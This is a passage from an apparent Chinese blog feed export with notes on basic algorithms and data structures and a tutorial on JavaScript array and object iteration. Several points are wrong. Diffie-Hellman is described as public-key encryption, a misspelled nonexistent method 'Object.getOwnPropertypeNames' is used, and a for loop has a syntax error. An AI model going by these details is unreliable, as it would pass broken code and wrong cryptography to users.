title="二叉查找树"></a>二叉查找树</h4><p>在前面的二分法介绍中,我们提到了二分法查找有序数组时效率很高。但是数组的插入和删除效率十分低,因此不适合存储用来查找的数据。</p><p>这时就需要二叉查找树来发挥作用了。</p><p>二叉查找树是一种左边的子节点始终小于父节点,右边的子节点始终大于父节点的数据结构。</p><p>当查找某个节点时,就沿着树形结构一路比较下去,直到找到目标节点。</p><p>处于平衡状态时,二叉查找树的查找时间复杂度为<code>O(logn)</code>,但不平衡时,查找的时间复杂度可能达到<code>O(n)</code>,是弱于二分查找的。</p><p>但二叉树相比数组的二分查找的优点在于,它的插入和删除的时间复杂度也平均为O(logn),是优于数组的。但相比数组,它又有不能随机访问的缺点。</p><h4 id="傅里叶变换"><a href="#傅里叶变换" class="headerlink" title="傅里叶变换"></a>傅里叶变换</h4><p>傅里叶变换,用于分离信号。例如常见的音频信号,傅里叶变换能将其中的各个频率音符分离出来。</p><p>它常用于压缩音频文件,进行信号处理等。</p><h4 id="并行算法"><a href="#并行算法" class="headerlink" title="并行算法"></a>并行算法</h4><p>并行算法用于处理海量数据,通过多核处理器,来对问题进行同时的多重计算。</p><p>并行算法对问题解决的速度提升并不是线性的,主要是因为下面两个原因:</p><ol><li><strong>并行管理开销</strong> 例如两个内核的任务分配和结构处理等。</li><li><strong>负载均衡</strong> 平衡各内核间的工作量,从而达到均匀的负载。</li></ol><h4 id="分布式算法"><a href="#分布式算法" class="headerlink" title="分布式算法"></a>分布式算法</h4><p>分布式算法是一种特殊的并行算法,它并不是在多核上运行,而是在多台计算机上运行。</p><h4 id="SHA算法"><a href="#SHA算法" class="headerlink" title="SHA算法"></a>SHA算法</h4><p>SHA算法,是一个散列函数,可以根据一个字符串生成另一串唯一的字符串。但你并不能根据这一个唯一的字符串得到它的原始字符串。</p><p>它通常用于文件比较,存储密码等。</p><p>SHA算法包括SHA-0,SHA-1,SHA-2,SHA-3。SHA-0和 SHA-1 已经被确定为不安全的了。</p><p>SHA算法是局部不敏感的,也就是说,原始字符串的一个小小改动,就会导致SHA算法生成的唯一字符串完全不同。</p><h4 id="SimHash"><a href="#SimHash" class="headerlink" title="SimHash"></a>SimHash</h4><p>SimHash 与 SHA算法类似,不同之处在于,SimHash 算法是局部敏感的,因此常用于比较两个文件的相似程度,判断文件是否存在等。</p><h4 id="Diff-Hellman密匙交换"><a href="#Diff-Hellman密匙交换" class="headerlink" title="Diff-Hellman密匙交换"></a>Diff-Hellman密匙交换</h4><p>Diff-Hellman是一种加密方式。它提供一个公开的公钥,所有人都可以用此公钥来对数据进行加密,但只有私钥可以对这些加密的数据解密。你可以将公钥发放给需要进行信息传递的一方,从而达到与对方加密通信的效果。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 其他 </category>
<category> 算法 </category>
</categories>
<tags>
<tag> 算法 </tag>
</tags>
</entry>
<entry>
<title>算法学习(四):《算法图解》笔记(一)</title>
<link href="/2018/07/01/algorithm_note-4/"/>
<url>/2018/07/01/algorithm_note-4/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>前段时间一直在看《算法图解》,这本书图文并茂,深入浅出,还是比较易读的。在阅读的过程中,记了一些笔记,都是一些算法领域相关的比较基础的一些知识。</p><p>我总觉得,读一本书,要有一本书的收获这句话是比较贪婪的说法,抱着功利心去读书,反而不如平常心去读更有乐趣点。但对于技术类的书来说,这句话我觉得还是比较贴切的(废话,技术书里面又没有那么多跌宕。</p><p>关于读书笔记这件事,我并不会照着抄一些书里加粗黑体的概念来充数,主要是记录一些我对书中内容的理解。</p><p>内心OS:其实我知道上面说这么一堆并没有什么用。因为并不会有人看我的博客。我日。</p></blockquote><a id="more"></a><h3 id="第一章:算法简介"><a href="#第一章:算法简介" class="headerlink" title="第一章:算法简介"></a>第一章:算法简介</h3><p>主要介绍了关于算法的一些基本知识,例如大O表示法等。关于大O表示法在此不多记录,需要的同学可以去看<a href="https://blog.guoyufei.cn/2018/04/02/algorithm_note-1/" target="_blank" rel="noopener">我算法学习的第一篇博客</a>,就是关于大O表示法的。</p><h4 id="二分查找"><a href="#二分查找" class="headerlink" title="二分查找"></a>二分查找</h4><p>作为最简单和容易理解的查找算法,它的步骤如下:</p><ol><li>取列表的中间值与要查找的目标元素进行比较</li><li>根据比较结果选择列表的前半部分或后半部分为一个新列表</li><li>对新列表重复步骤1,直到找到目标元素。</li></ol><p>二分查找只能应用于有序列表。因为它需要根据目标元素与列表中间元素的比较结果来缩小列表,从而进一步确定目标元素所处的位置,如果是无序列表的话,与列表中间元素的比较毫无意义。</p><p>也比较容易得出,二分查找的时间复杂度为<code>O(logn)</code></p><h4 id="旅程最短问题"><a href="#旅程最短问题" class="headerlink" title="旅程最短问题"></a>旅程最短问题</h4><p>旅程最短问题,即某个人,要去n个城市,各个城市之间距离不同,求出它的最短旅程。</p><p>抽象出来就是:求出遍历<code>n</code>个互相距离不同的点的最短路线。</p><p>此问题的最基本解决思路如下:</p><ol><li>确定遍历顺序,也就是列举出所有可能的路线</li><li>计算每种路线的路程</li><li>选出最短路径</li></ol><p>我们知道,<code>n</code>个元素的排列顺序,有<code>n!</code>种,因此上面的解决办法,其时间复杂度为<code></code>O(n!)<code>。当</code>n>20`之后,此类解决方法需要列举的路线已经是一个天文数字了,因此上面的解决办法已经近乎无能为力了。</p><p>对于旅程最短问题,至今仍没有比较完美的解决办法。但通过二叉树等算法,我们可以得到一个近似的最短路径结果。</p><h3 id="第二章:选择排序"><a href="#第二章:选择排序" class="headerlink" title="第二章:选择排序"></a>第二章:选择排序</h3><h4 id="数据结构之数组"><a href="#数据结构之数组" class="headerlink" title="数据结构之数组"></a>数据结构之数组</h4><p>数组作为存储元素的一种数据结构,它的所有元素在内存中都是连续的,因此它有着很快的读取速度,例如我们需要第5个元素,数组通过第一个元素的内存地址,就可以直接得到第5个元素的内存地址。</p><p>但数组的插入速度是非常慢的,主要有以下两个原因:</p><ul><li>在数组中间插入一个元素,就必须移动插入位置之后的所有元素</li></ul><ul><li>如果数组的后面的内存已经被占用,数组就无法再加长了,如果想加长,就必须将整个数组都移动到可以容纳更长数组的内存空位去。(虽然可以通过为数组后面预留空位来解决这个问题,但也只是权宜之计</li></ul><p>同理,当删除数组元素时,必须前移其后的所有元素,所以数组的删除速度也很慢。</p><p><strong>具体的,数组的读取速度为<code>O(1)</code>,插入和删除速度为<code>O(n)</code></strong></p><p>另外,数组这种数据结构还有一点需要注意,它的所有元素的类型必须相同。</p><h4 id="数据结构之链表"><a href="#数据结构之链表" class="headerlink" title="数据结构之链表"></a>数据结构之链表</h4><p>链表的元素在内存中并不是相邻的,而是分散的,通过前一个元素存储下一个元素的地址,将一系列内存地址串成一个链表。这也是链表名字链字的由来。</p><p>对于链表来说,它的插入和删除速度是非常快的,因为在插入和删除时,都只需要修改它前一个元素存储的内存地址即可,不需要移动其他元素。</p><p>但链表的读取速度非常慢,因为无法像数组一样,通过第一个元素的内存地址就得出任意索引位置的地址。它必须从头开始,顺序得到每个元素的地址。</p><p><strong>具体的,链表的读取速度为<code>O(n)</code>,插入和删除速度为<code>O(1)</code></strong></p><h4 id="选择排序"><a href="#选择排序" class="headerlink" title="选择排序"></a>选择排序</h4><p>选择排序,是一种时间复杂度为O(n<sup>2</sup>) 的排序算法。具体步骤如下:</p><ol><li>遍历列表,找出列表的最大值,取出放入一个空列表</li><li>重复步骤1,直到列表中元素全被取出。</li></ol><h3 id="第三章:递归"><a href="#第三章:递归" class="headerlink" title="第三章:递归"></a>第三章:递归</h3><p>递归函数,即在函数运行时又调用了自身的函数。</p><p>递归函数中,递归条件指函数调用自己的条件,基线条件是指,递归函数停止调用自己的条件。</p><p>递归函数必须有基线条件,这样才能避免无限循环。</p><h4 id="数据结构之栈"><a href="#数据结构之栈" class="headerlink" title="数据结构之栈"></a>数据结构之栈</h4><p>栈<strong><em>(stack)</em></strong>是一种先进后出<strong><em>(FILO - first-in/last-out)</em></strong> 的数据结构,数据只能在栈顶进行添加和删除,即栈的<strong>压入</strong>和<strong>弹出</strong>。</p><p>对于函数调用来说,存在一个函数的<strong>调用栈</strong>,存储了函数调用所需的变量和上下文。</p><p>如果递归层数过多,会产生非常多的函数调用栈,占用大量内存,造成栈溢出,此时可以借助尾递归优化。</p><p>尾递归优化,就是指所有递归函数都使用同一个栈,大部分语言针对递归进行了尾递归优化。必须保证递归函数只返回自身调用,没有其他多余返回值时,才能使用。</p><h3 id="第四章:-快速排序"><a href="#第四章:-快速排序" class="headerlink" title="第四章: 快速排序"></a>第四章: 快速排序</h3><p>分而治之<strong><em>(D&C - divide and conquer)</em></strong>策略,是指找出递归的基线条件和递归条件,通过递归来解决问题的一种策略。</p><p>快速排序就是使用分而治之策略的一种排序算法。具体步骤如下:</p><ol><li>在列表中选取一个基准值</li><li>将小于基准值的元素和大于基准制的元素分别放入一个列表。</li><li>如果得到的列表长度小于2,返回列表,否则,对得到的列表递归进行快速排序</li></ol><p>采用递归进行排序的快速排序算法,时间复杂度和基准值的选择关系较大,最糟情况下(选取列表端值作为基准),时间复杂度为<em>O(n²)</em>,平均时间复杂度为<em>O(n log n)</em></p><h3 id="第五章:-散列表"><a href="#第五章:-散列表" class="headerlink" title="第五章: 散列表"></a>第五章: 散列表</h3><p>散列表,有多种叫法,在<code>python</code>中叫字典,在<code>ruby</code>中叫哈希,在<code>PHP</code>中叫关联数组。但在作为数据结构时,通常都称为散列表。散列表用于存储映射关系,也就是我们常说的键名和键值。</p><p>散列表是由散列函数和数组共同组成的一种数据结构,具有<code>O(1)</code>时间复杂度的查找速度。</p><h4 id="散列函数"><a href="#散列函数" class="headerlink" title="散列函数"></a>散列函数</h4><p>散列函数,是指接受任意输入,并返回一个数字的函数,即可以将输入映射到一个数字。</p><p>散列函数必须保证以下两个要求:</p><ul><li>一致性。对于相同的输入,必须返回相同的数字。</li><li>差异性。对于不同的输入,尽可能的映射到不同数字。</li></ul><p>通过散列函数的这种特性,将键名输入散列函数,得到一个数字,将键值存入数组中对应此索引的位置,就实现了散列表。</p><p>在散列表中通过键名查找键值时,将键名输入散列函数,就可以得到存储对应键值的数组索引。</p><h4 id="冲突"><a href="#冲突" class="headerlink" title="冲突"></a>冲突</h4><p>不可能存在将所有不同输入映射到不同数字的散列函数,因为数组的长度并不是无限的。因此,在有限的数组前提下,散列函数一定会存在将不同键名映射到数组相同索引的情况,也就是冲突。</p><p>解决冲突的方法,最简单的,就是在冲突的位置不存储单个键值,而是存储一个链表,在链表中存储此索引处的所有键名键值。</p><h4 id="填装因子"><a href="#填装因子" class="headerlink" title="填装因子"></a>填装因子</h4><p>填装因子,即<strong>散列表键值元素数占散列表数组长度的比值</strong>。一般来说,当填装因子大于0.7时,散列表当前的数组已经不适合继续使用了,应该对数组调整长度(别忘了我们前面说的,调整数组长度是比较耗费性能的。</p><p>散列表如果想实现比较好的性能,就要尽可能避免冲突,尽量满足以下要求:</p><ul><li>良好的散列函数,能尽可能的将键值均匀的分布在数组中</li><li>较低的填装因子,使数组有较多空位来继续容纳新元素</li></ul><blockquote><p>以上就是《算法图解》中前面章节前五章我记的一些笔记。为避免篇幅过长,这篇博客就到这里,下一篇博客再继续,关于算法中图的相关知识,记得回来^_^。</p></blockquote><!-- rebuild by neat -->]]></content>
<categories>
<category> 其他 </category>
<category> 算法 </category>
</categories>
<tags>
<tag> 算法 </tag>
</tags>
</entry>
<entry>
<title>JavaScript数组和对象的遍历</title>
<link href="/2018/06/06/JavaScript-array&object-ergodic/"/>
<url>/2018/06/06/JavaScript-array&object-ergodic/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:47 GMT+0800 (CST) --><blockquote><p>遍历数组和对象是我们经常遇到的编程场景,<code>JS</code>有多种不同的方式和方法来遍历数组和对象,但每种方法深究起来又有各种差异,再加上对象的继承属性,不可枚举属性,<code>Symbol</code>属性等等,如果不熟悉这些方法的话,可能会造成隐藏较深的 <strong><em>bug</em></strong>。</p><p>因此,本篇博客就对有关数组和对象的各种遍历方法,做一个总结。</p></blockquote><a id="more"></a><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=186668&auto=0&height=66"></iframe><p>首先需要说明的是,在<code>JS</code>中,数组可以视为恰巧拥有一些整数属性的对象。遍历对象的一些方法,都可以用来遍历数组。但通常对于数组和对象这两种不同用途的结构,我们在遍历它们时目的是不一样的,因此虽然有的方法可以用来遍历数组,但我们几乎不会拿来遍历数组,在下文中会有提及。</p><h3 id="数组的遍历"><a href="#数组的遍历" class="headerlink" title="数组的遍历"></a>数组的遍历</h3><p>数组可以视为一种特殊形式的对象,特殊之处在于,它有一些从0开始的整数的属性,也就是我们通常所说的索引。同时这个对象有一个<code>length</code>属性,它会根据索引数量的变化来动态改变其值。</p><p>对于数组遍历,我们通常是遍历它每个索引属性对应的值,而不会去遍历作为对象的它的其他属性,例如<code>toString</code>方法等。</p><p>关于数组的遍历,有以下几种方法。我们统一使用下面这个数组来举例。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="string">'yewen'</span>, <span class="string">'huangfeihong'</span>, <span class="string">'fangshiyu'</span>, <span class="string">'huoyuanjai'</span>]</span><br></pre></td></tr></table></figure><h4 id="for"><a href="#for" class="headerlink" title="for"></a><strong><em>for</em></strong></h4><p>这是遍历数组时使用频率最高,也最简单的方式。</p><p>下面是普通的<code>for</code>循环。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span>; i < arr.length,; i++){</span><br><span class="line"> <span class="built_in">console</span>.log(i)</span><br><span class="line"> <span class="built_in">console</span>.log(arr[i])</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>也有一些对<code>for</code>循环进行优化的小方法,例如缓存数组长度,使用局部的循环<code>index</code>等。如下</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>,len = a.length; i < len; i++){</span><br><span class="line"> <span class="built_in">console</span>.log(i)</span><br><span class="line"> <span class="built_in">console</span>.log(arr[i])</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>for</code>循环除了写起来麻烦一点,其实效率是相当不错的。</p><h4 id="forEach"><a href="#forEach" class="headerlink" title="forEach( )"></a><strong><em>forEach( )</em></strong></h4><p><code>forEach</code>是数组的方法。你可能要问了,上面说了数组也是一个普通的对象,那么数组的这些不同于其他对象的方法是哪里来的呢?别忘了<code>JS</code>的 <code>Array</code>类型,数组的一些独有的方法,就是继承自<code>Array.prototype</code>。</p><p><code>forEach</code>方法的使用如下:</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">arr.forEach(<span class="function"><span class="keyword">function</span>(<span class="params">val, index, arr</span>)</span>{</span><br><span class="line"> <span class="built_in">console</span>.log(index)</span><br><span class="line"> <span class="built_in">console</span>.log(val)</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p><code>forEach</code>方法接收一个函数作为参数。对每个元素,<code>forEach</code>都会使用当前元素,当前元素的索引,数组本身作为三个参数,调用传入的函数。(后两个参数如不需要,可省略)</p><p>同时需要注意,<code>forEach</code>方法一旦开始,是无法类似<code>for</code>循环一样,使用<code>break</code>终止的。</p><h4 id="map"><a href="#map" class="headerlink" title="map( )"></a><strong><em>map( )</em></strong></h4><p><code>map</code>方法,同样接受一个函数作为参数。此函数与<code>forEach</code>方法接受同样的三个函数参数。不同点在于,<code>map</code>对数组的每个元素调用此函数,并使用此函数的返回值作为数组项,组成一个新的数组返回。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">arr.map(<span class="function"><span class="keyword">function</span>(<span class="params">val, index, arr</span>)</span>{</span><br><span class="line"> <span class="built_in">console</span>.log(val)</span><br><span class="line"> <span class="keyword">return</span> val + <span class="string">'map'</span></span><br><span class="line">})</span><br><span class="line"><span class="comment">//=> ['yewenmap', 'huangfeihongmap', 'fangshiyumap', 'huoyuanjaimap']</span></span><br></pre></td></tr></table></figure><h4 id="for…of"><a href="#for…of" class="headerlink" title="for…of"></a><strong><em>for…of</em></strong></h4><p><code>for...of</code> 是<code>ES6</code>提供的新特性,用于遍历部署了<code>Iterator</code>接口的数据类型。例如<code>Map</code>,<code>Set</code>等。因为数组类型也具有原生的<code>Iterator</code>接口,所以也可以使用<code>for...of</code>遍历。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i <span class="keyword">of</span> arr){</span><br><span class="line"> <span class="built_in">console</span>.log(i)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>for...of</code>重复的将数组的值赋值变量<code>i</code>来供我们使用。</p><p>需要注意,此特性不支持<code>IE</code>。另外,字符串类型<code>String</code>也部署了<code>Iterator</code>接口,也可以通过<code>for...of</code>来遍历。</p><p>以上就是关于数组遍历的几种方法。另外,数组也有一些特别的方法,例如<code>filter</code>,<code>some</code>,<code>every</code>,<code>find</code>,<code>reduce</code>等,但这些方法主要的目的并不是完全为了单纯的遍历数组,因此在此不多做介绍。</p><h4 id="keys"><a href="#keys" class="headerlink" title="keys()"></a><strong><em>keys()</em></strong></h4><p>在ES6中,加入了数组的<code>keys()</code>,<code>values()</code>, <code>entries()</code>三个方法,它们都返回一个迭代器,可以使用<code>for...of</code>来迭代。</p><p><code>keys()</code>返回由数组的索引组成的迭代器。</p><p><code>values()</code>返回由数组的值组成的迭代器。(此方法在<code>chrome</code>和<code>firefox</code>中均未实现)</p><p><code>entries()</code>返回一个由包含数组索引和值的数组的迭代器。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i <span class="keyword">of</span> arr.keys()){</span><br><span class="line"> <span class="built_in">console</span>.log(i)</span><br><span class="line">}</span><br><span class="line"><span class="comment">//0</span></span><br><span class="line"><span class="comment">//1</span></span><br><span class="line"><span class="comment">//2</span></span><br><span class="line"><span class="comment">//3</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> item <span class="keyword">in</span> arr.entries()){</span><br><span class="line"> <span class="built_in">console</span>.log(item)</span><br><span class="line">}</span><br><span class="line"><span class="comment">//[0,'yewen']</span></span><br><span class="line"><span class="comment">//[1,'huangfeihong‘]</span></span><br><span class="line"><span class="comment">//[2,'fangshiyu']</span></span><br><span class="line"><span class="comment">//[3,'huoyuanjia']</span></span><br></pre></td></tr></table></figure><h3 id="遍历对象"><a href="#遍历对象" class="headerlink" title="遍历对象"></a>遍历对象</h3><p>对象的属性,有继承属性和自有属性之分,又有可枚举属性和不可枚举属性之分。</p><p>所谓继承属性,就是指对象从原型对象继承而来的属性。例如我们上文提到的数组的<code>map</code>等方法继承自<code>Array.prototype</code>,<code>map</code>就是继承属性。</p><p>所谓可枚举属性,是指在<code>ES5</code>之后,对象的属性有了以下可以设置的四个特性:</p><ul><li><p>值<code>value</code></p><p>属性的值</p></li><li><p>可读性 <code>writeable</code></p><p>决定属性是否可读取</p></li><li><p>可配置性 <code>configurable</code></p><p>决定属性是否可删除,可修改</p></li><li><p>可枚举性 <code>enumerable</code></p><p>决定属性是否可以通过<code>for...in</code>循环返回</p></li></ul><p>在<code>ES3</code>中,对象属性默认就是可写,可配置,可枚举且无法修改的。<code>ES5</code>之后,我们可以通过<code>Object.defineProperty()</code>方法来定义对象的这些特性。</p><p>另外,在<code>ES6</code>中,引入了<code>Symbol</code>数据类型。因此对象存在特殊的一种情况,即使用<code>Symbol</code>值作为属性名。</p><p>对于上面提到的几种属性的区分和特殊情况,各个遍历属性的方法会有不同表现,具体的我们在每个方法中详细介绍。</p><p>下面来看遍历对象属性的常用方法。</p><h4 id="for…in"><a href="#for…in" class="headerlink" title="for…in"></a><strong><em>for…in</em></strong></h4><p><code>for...in</code>会遍历对象的<strong><em>所有可枚举属性</em></strong>,因此,只要对象的属性是可枚举的,它就会被遍历到,无论此属性是继承自原型还是对象自有。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = {<span class="attr">a</span>: <span class="number">1</span>, <span class="attr">b</span>: <span class="number">2</span>, <span class="attr">c</span>: <span class="number">3</span>}</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> prop <span class="keyword">in</span> obj){</span><br><span class="line"> <span class="built_in">console</span>.log(prop)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//=></span></span><br><span class="line"><span class="comment">//a</span></span><br><span class="line"><span class="comment">//b</span></span><br><span class="line"><span class="comment">//c</span></span><br></pre></td></tr></table></figure><p>我们来通过下面这个例子来演示<code>for...in</code>遍历的特点。</p><figure class="highlight js"><figcaption><span>Javascript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//使childObj继承自obj</span></span><br><span class="line"><span class="keyword">var</span> childObj = <span class="built_in">Object</span>.create(obj)</span><br><span class="line"></span><br><span class="line"><span class="comment">//为childObj定义一个不可迭代属性d(使用defineProperty定义的属性默认enumerable其实就是false)</span></span><br><span class="line"><span class="built_in">Object</span>.defineProperty(childObj, <span class="string">'d'</span>, {</span><br><span class="line"> value: <span class="number">4</span>,</span><br><span class="line"> enumerable: <span class="literal">false</span></span><br><span class="line">})</span><br><span class="line"></span><br><span class="line">childObj.e = <span class="number">5</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i <span class="keyword">in</span> childObj){</span><br><span class="line"> <span class="built_in">console</span>.log(i)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//=></span></span><br><span class="line"><span class="comment">//a</span></span><br><span class="line"><span class="comment">//b</span></span><br><span class="line"><span class="comment">//c</span></span><br><span class="line"><span class="comment">//e</span></span><br></pre></td></tr></table></figure><p>可以看出,<code>for...in</code>遍历了<code>childObj</code>的继承属性<code>a,b,c</code>和自有属性<code>e</code>,但并没有遍历不可迭代属性<code>d</code>。</p><p><code>for...in</code>不被建议用来遍历数组,使用它来遍历数组,主要有以下两点问题:</p><ul><li><code>for...in</code>不光会遍历到数组的索引值,如果数组有其他定义或继承的非整数可迭代属性,它一样会遍历到。</li></ul><ul><li><code>for...in</code>的遍历顺序是取决于当前的执行环境的,它并不一定会按照索引顺序来遍历数组的索引。</li></ul><h4 id="Object-getOwnPropertypeNames"><a href="#Object-getOwnPropertypeNames" class="headerlink" title="Object.getOwnPropertypeNames()"></a><strong><em>Object.getOwnPropertypeNames()</em></strong></h4><p><code>Object.getOwnPropertypeNames()</code>方法,返回一个由对象的<strong><em>所有自有属性</em></strong>的属性名组成的数组。</p><p>我们使用上面定义的<code>childObj</code>来看一下<code>Object.getOwnPropertypeNames()</code>的表现。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> propArr = <span class="built_in">Object</span>.getOwnPropertypeNames(childObj)</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(propArr)</span><br><span class="line"></span><br><span class="line"><span class="comment">//=></span></span><br><span class="line"><span class="comment">//["d", "e"]</span></span><br></pre></td></tr></table></figure><p>我们可以看到,<code>Object.getOwnPropertypeNames()</code>并没有遍历<code>childObj</code>的继承属性<code>a,b,c</code>,而只是遍历了它自有的不可枚举属性<code>d</code>和可枚举属性<code>e</code>。<em>**</em></p><h4 id="Object-keys"><a href="#Object-keys" class="headerlink" title="Object.keys()"></a><strong><em>Object.keys()</em></strong></h4><p><code>Object.keys()</code>方法,返回一个由对象的<strong><em>所有可枚举的自有属性</em></strong>的属性名组成的数组。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> propArr = <span class="built_in">Object</span>.keys(childObj)</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(propArr)</span><br><span class="line"></span><br><span class="line"><span class="comment">//=></span></span><br><span class="line"><span class="comment">//["e"]</span></span><br></pre></td></tr></table></figure><p>从上面的代码可以看出,<code>Object.keys()</code>只会遍历到对象自有的且可枚举的属性,不会遍历到继承的属性和不可枚举的属性。</p><p>另外,<code>ES6</code>中添加了两个对象的新静态方法,<code>Object.values()</code>和<code>Object.entries()</code>,用于对应<code>Object.keys()</code>的自有可枚举,分别返回对象的相应所有键值组成的数组和对象的相应键值键名数组组成的数组。</p><h4 id="Object-getOwnPropertypeSymbols"><a href="#Object-getOwnPropertypeSymbols" class="headerlink" title="Object.getOwnPropertypeSymbols"></a><strong><em>Object.getOwnPropertypeSymbols</em></strong></h4><p>此方法用于遍历对象<strong><em>所有属性名为<code>Symbol</code>值的属性</em></strong>,返回一个由所有<code>Symbol</code>值属性组成的数组。</p><p>我们上文提到的三个遍历对象的方法,<code>for...in</code>,<code>Object.getOwnPropertypeNames()</code>,<code>Object.keys()</code>都是不会遍历到对象的<code>symbol</code>值属性的。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> foo = <span class="built_in">Symbol</span>(<span class="string">'foo'</span>)</span><br><span class="line"><span class="keyword">var</span> bar = <span class="built_in">Symbol</span>(<span class="string">'bar'</span>)</span><br><span class="line"></span><br><span class="line">childObj[foo] = <span class="number">666</span></span><br><span class="line">childObj[bar] = <span class="number">888</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> symbolArr = <span class="built_in">Object</span>.getOwnPropertypeSymbols(childObj)</span><br><span class="line"><span class="built_in">console</span>.log(symbolArr)</span><br><span class="line"></span><br><span class="line"><span class="comment">//=></span></span><br><span class="line"><span class="comment">//[symbol(foo),symbol(bar)]</span></span><br></pre></td></tr></table></figure><h4 id="Reflect-ownKeys"><a href="#Reflect-ownKeys" class="headerlink" title="Reflect.ownKeys()"></a><strong><em>Reflect.ownKeys()</em></strong></h4><p><code>Reflect</code>,是<code>ES6</code>中新加入的一个内置对象,因为<code>ES6</code>中提供了<code>proxy</code>来代理对象的默认行为,所以提供了<code>Reflect</code>来保证在代理时也可以使用对象的原始默认行为。</p><p><code>Reflect.ownKeys()</code>与<code>Object.getOwnPropertypeNames()</code>行为基本相同,都返回一个由对象的<strong><em>所有自有属性</em></strong>的属性名组成的数组。唯一不同的是,它还会包括对象的<code>Symbol</code>值属性。</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> reflectKeys = <span class="built_in">Reflect</span>.ownKeys(childObj)</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(reflectKeys)</span><br><span class="line"></span><br><span class="line"><span class="comment">//=></span></span><br><span class="line"><span class="comment">//["d", "e", symbol(foo), symbol(bar)]</span></span><br></pre></td></tr></table></figure><p>可以认为,<code>Reflect.ownKeys(target)</code> 